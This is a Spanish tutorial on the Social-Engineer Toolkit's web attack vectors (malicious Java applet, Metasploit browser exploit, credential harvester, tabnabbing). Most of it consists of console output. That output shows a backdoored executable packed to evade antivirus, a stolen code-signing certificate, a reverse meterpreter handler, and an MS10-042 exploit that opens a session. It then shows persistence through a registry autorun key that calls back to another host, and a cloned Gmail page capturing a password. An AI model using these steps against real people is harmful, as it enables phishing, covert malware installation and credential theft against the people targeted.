Se trata de los vectores de ataque mejor elaborados, robustos y con mayores probabilidades de éxito que se han desarrollado en SET debido a que son específicamente diseñados para construir sitios web “ficticios” que son incitantes y creíbles para el objetivo, además cuentan con técnicas bastante elaboradas que permiten que un objetivo sea víctima sin enterarse tan siquiera que ha sido engañado.

En SET las opciones correspondientes a este tipo de ataque son:

1. Java Applet Attack Method2. Metasploit Browser Exploit Method

3. Credential Harvester Attack Method

4. Tabnabbing Attack Method

5. Man Left in the Middle Attack Method

6. Web Jacking Attack Method

7. Multi-Attack Web Method

8. Create or import a CodeSigning Certificate

Java Applet Attack Method

Se trata de un ataque que ejecuta un Java Applet malicioso, cuando este es desplegado en un sitio web falso, el usuario debe aceptar un «certificado» que le advierte que el código de dicho applet podría no ser fiable y que se ejecuta bajo la responsabilidad del usuario, siempre y cuando confié en el editor del mismo, una característica interesante de los applets de java (interesante para un atacante) es que estos se ejecutan sin ningún tipo de restricciones una vez son aceptados por el cliente, además también es posible que el atacante establezca como publicador del applet cualquier texto como por ejemplo “Google”, “MicroSoft”, etc. Lo que hace que parezca aun más confiable.

Esta opción tiene el siguiente flujo de opciones:

2. Website Attack Vectors

1. Java Applet Attack Method

1. Web Templates
Se trata de un conjunto de aplicaciones web predefinidas que pueden ser utilizadas en el ataque. En este punto es necesario ingresar los siguientes valores para el certificado:
Name, Organization, Organization Name, City, State, Country, con estos datos se crea el certificado con el que se firmará el Applet malicioso

Select a template to utilize within the web clone attack

1. Java Required

2. Gmail

3. Google

4. Facebook

5. Twitter

Una vez se ha seleccionado la plantilla que se va a utilizar para el ataque, SET solicita la selección de un payload compatible con el objetivo (meterpreter por ejemplo o una consola “raw”).

Con esta información SET intenta iniciar MetaSploit con todas las opciones establecidas.

Set > Enter the PORT of the listener (enter for default) > 4444 [-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds…

[*] Backdoor completed successfully. Payload is now hidden within a legit executable.

[*] UPX Encoding is set to ON, attempting to pack the executable with UPX encoding.

[*] Packing the executable and obfuscating PE file randomly, one moment.

[*] Digital Signature Stealing is ON, hijacking a legit digital certificate.

********************************************************

Do you want to create a Linux/OSX reverse_tcp meterpreter

payload in the Java Applet attack as well?

********************************************************

Enter choice yes or no: no

[-] ***************************************************

[-] Web Server Launched. Welcome to the SET Web Attack.

[-] ***************************************************

[-] Tested on IE6, IE7, IE8, IE9, Safari, Opera, Chrome, and FireFox

[-] Launching MSF Listener…

[-] This may take a few to load MSF…

Posteriormente MetaSploit es ejecutado por SET:

resource (src/program_junk/meta_config)> use exploit/multi/handlerresource (src/program_junk/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

resource (src/program_junk/meta_config)> set LHOST 0.0.0.0

LHOST => 0.0.0.0

resource (src/program_junk/meta_config)> set LPORT 4444

LPORT => 4444

resource (src/program_junk/meta_config)> set ExitOnSession false

ExitOnSession => false

resource (src/program_junk/meta_config)> set AutoRunScript migrate -f

AutoRunScript => migrate -f

resource (src/program_junk/meta_config)> set InitialAutorunScript multiscript -rc /opt/set/src/program_junk/multi_meter.file

InitialAutorunScript => multiscript -rc /opt/set/src/program_junk/multi_meter.file

resource (src/program_junk/meta_config)> exploit -j

[*] Exploit running as background job.

msf exploit(handler) >

[*] Started reverse handler on 0.0.0.0:4444

[*] Starting the payload handler…

2. Site Cloner

Funciona exactamente igual que el método indicado anteriormente por selección de plantillas, con la diferencia de que en esta opción se establece un sitio arbitrario de forma manual, por lo demás todos los pasos son exactamente iguales.

3. Custom Import

Permite importar un sitio web personalizado desde una ruta concreta, en el directorio donde se encuentra ubicada la aplicación web personalizada debe tener un unico fichero index.html.

Metasploit Browser Exploit Method

Este método utiliza un conjunto de exploits contenidos en MetaSPloit Framework del tipo “Client-Side” es decir, enfocados en el navegador web de la víctima, este tipo de ataques es similar al ataque de Applet malicioso, sin embargo la diferencia radica principalmente en la cantidad de exploits que se enseñan en esta opción y su enfoque particular (como ya se ha dicho, enfocados en comprometer al cliente por medio del navegador web que utiliza)

2. Website Attack Vectors

2. Metasploit Browser Exploit Method

1. Web Templates
Fake Site utilizando plantillas existentes en el framework, exactamente el mismo mecanismo utilizado en la opción Java Applet Attack Method

2. Site Cloner
Ingreso manual del sitio web a “clonar” exactamente el mismo mecanismo utilizado en la opción Java Applet Attack Method

3. Custom Import
Sitio web personalizado para utilizar en el ataque exactamente el mismo mecanismo utilizado en la opción Java Applet Attack Method

Una vez seleccionado el exploit que se utilizará (para su selección un atacante debe tener unos conocimientos mínimos sobre el objetivo que pretende atacar, como por ejemplo los navegadores web y las correspondientes opciones que utilizan) se ingresan los datos correspondientes al payload a utilizar (como siempre se recomienda uno que permita obtener una sesión Meterpreter)

set Enter the port to use for the reverse (enter for default) > 5555 [-] Cloning the website: http://www.google.com

[-] This could take a little bit…

[-] Injecting iframes into cloned website for MSF Attack…

[*] Malicious iframe injection successful…crafting payload.

[-] ***************************************************

[-] Web Server Launched. Welcome to the SET Web Attack.

[-] ***************************************************

[-] Tested on IE6, IE7, IE8, IE9, Safari, Opera, Chrome, and FireFox

[-] Launching MSF Listener…

[-] This may take a few to load MSF…

Posteriormente, SET intentará ejecutar MetaSploit con las opciones establecidas en la configuración de SET y los valores ingresados manualmente en las opciones anteriores.

resource (src/program_junk/meta_config)> use windows/browser/ms10_042_helpctr_xss_cmd_exec resource (src/program_junk/meta_config)> set LHOST 192.168.1.33

LHOST => 192.168.1.33

resource (src/program_junk/meta_config)> set LPORT 5555

LPORT => 5555

resource (src/program_junk/meta_config)> set URIPATH /

URIPATH => /

resource (src/program_junk/meta_config)> set SRVPORT 80

SRVPORT => 80

resource (src/program_junk/meta_config)> set ExitOnSession false

ExitOnSession => false

resource (src/program_junk/meta_config)> set InitialAutorunScript multiscript -rc /opt/set/src/program_junk/multi_meter.file

InitialAutorunScript => multiscript -rc /opt/set/src/program_junk/multi_meter.file

resource (src/program_junk/meta_config)> set AutoRunScript migrate -f

AutoRunScript => migrate -f

resource (src/program_junk/meta_config)> exploit -j

[*] Exploit running as background job.

msf exploit(ms10_042_helpctr_xss_cmd_exec) >

[*] Started reverse handler on 192.168.1.33:5555

[*] Using URL: http://0.0.0.0:80/

[*] Local IP: http://192.168.1.33:80/

[*] Server started.

[*] Request for «/» does not contain a sub-directory, redirecting to /vWtHTuV4wvrof/ …

[*] Sending exploit html to 192.168.1.40:2425 …

[*] Sending exploit trigger to 192.168.1.40:2425 …

[*] Request for «/favicon.ico» does not contain a sub-directory, redirecting to /favicon.ico/ …

[*] Sending exploit html to 192.168.1.40:2425 …

[*] Request for «/» does not contain a sub-directory, redirecting to /BLfTNsY1oJCqtav/ …

[*] Responding to WebDAV OPTIONS request from 192.168.1.40:2431

[*] Request for «/Q» does not contain a sub-directory, redirecting to /Q/ …

[*] Received WebDAV PROPFIND request from 192.168.1.40:2431

[*] Sending directory multistatus for /Q/ …

[*] Received WebDAV PROPFIND request from 192.168.1.40:2431

[*] Sending EXE multistatus for /Q/fX.exe …

[*] Request for «/Q» does not contain a sub-directory, redirecting to /Q/ …

[*] Received WebDAV PROPFIND request from 192.168.1.40:2431

[*] Sending directory multistatus for /Q/ …

[*] Sending payload executable to target …

[*] Sending stage (752128 bytes) to 192.168.1.40

[*] Meterpreter session 1 opened (192.168.1.33:5555 -> 192.168.1.40:2432) at Thu Aug 11 01:09:00 +0200 2011

[*] Session ID 1 (192.168.1.33:5555 -> 192.168.1.40:2432) processing InitialAutoRunScript ‘multiscript -rc /opt/set/src/program_junk/multi_meter.file’

[*] Running Multiscript script…..

[*] Running script List …

[*] running script persistence -r 192.168.1.5 -p 21 -i 300 -X -A

[*] Running Persistance Script

[*] Resource file for cleanup created at /root/.msf4/logs/persistence/ANONYMOUS_20110811.0901/ANONYMOUS_20110811.0901.rc

[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=21

[*] Persistent agent script is 612460 bytes long

[+] Persistent Script written to C:\DOCUME~1\Owner\LOCALS~1\Temp\erTvLFYAfQ.vbs

[*] Starting connection handler at port 21 for windows/meterpreter/reverse_tcp

[+] Multi/Handler starterd!

[*] Executing script C:\DOCUME~1\Owner\LOCALS~1\Temp\erTvLFYAfQ.vbs

[+] Agent executed with PID 2148

[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\jziqqYKjjIk

[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\jziqqYKjjIk

[*] running script getsystem

[-] The specified script could not be found: getsystem

[*] Session ID 1 (192.168.1.33:5555 -> 192.168.1.40:2432) processing AutoRunScript ‘migrate -f’

[*] Current server process: fX.exe (2144)

[*] Spawning a notepad.exe host process…

[*] Migrating into process ID 2472

[*] New server process: notepad.exe (2472)

sessions

Active sessions

===============

Id Type Information Connection

— —- ———– ———-

1 meterpreter x86/win32 ANONYMOUS\Owner @ ANONYMOUS 192.168.1.33:5555 -> 192.168.1.40:2432

Credential Harvester Attack Method

Este tipo de ataque permite a un atacante clonar un sitio que tenga algún tipo de formulario de autenticación (formularios donde se solicita usuario y clave, como por ejemplo gmail) posteriormente cuando una víctima ingresa en dicho sitio e ingresa sus credenciales de acceso, SET recolecta toda esta información y posteriormente envía al usuario al sitio original, finalmente cuando el atacante desea finalizar la ejecución del ataque, obtiene un informe con la información recolectada.

[-] Credential Harvester is running on port 80[!] Information will be displayed to you as it arrives below:

localhost – – [11/Aug/2011 21:39:20] «GET / HTTP/1.1» 200 –

[!] WE GOT A HIT! Printing the output:

PARAM: ltmpl=default

PARAM: ltmplcache=2

PARAM: pstMsg=1

PARAM: dnConn=

PARAM: continue=http://mail.google.com/mail/?

PARAM: service=mail

PARAM: rm=false

PARAM: dsh=3207215783140987094

PARAM: ltmpl=default

PARAM: ltmpl=default

PARAM: scc=1

PARAM: timeStmp=

PARAM: secTok=

PARAM: GALX=YEU3AgvjbMk

POSSIBLE USERNAME FIELD FOUND: Email=midireccion6

POSSIBLE PASSWORD FIELD FOUND: Passwd=miclavesegura

PARAM: rmShown=1

PARAM: signIn=Sign+in

PARAM: asts=

[!] WHEN YOU’RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

Si se llega a presentar el siguiente error:

The best way to use this attack is if username and password formfields are available. Regardless, this captures all POSTs on a website.

[!] I have read the above message.

Press {return} to continue

Unable to find PEM file, check location and config again.

Es debido a que los ficheros “PEM” no se han encontrado dado y probablemente la opción “WEBATTACK_SSL” se encuentra activada. Si no se desea utilizar SSL sobre HTTP (HTTPS) esta opción puede ser desactivada, o bien establecer los valores correctos para las opciones “PEM_CLIENT” y “PEM_SERVER”.

Tabnabbing Attack Method

Este tipo de ataque en SET funciona de la misma forma que el ataque de recolección de credenciales anterior, la unica diferencia esta en que cuando un objetivo ingresa en el sitio web falso se le enseña un mensaje de “Please wait while the page loads”, de este modo cuando el usuario cambia de pestaña o de elemento de foco automáticamente SET detecta este cambio y enseña la pagina web en el espacio donde aparecía el mensaje de espera. El usuario creyendo que se le solicitan las credenciales de acceso ingresa los datos que son posteriormente recolectados por SET utilizando el método de ataque anterior.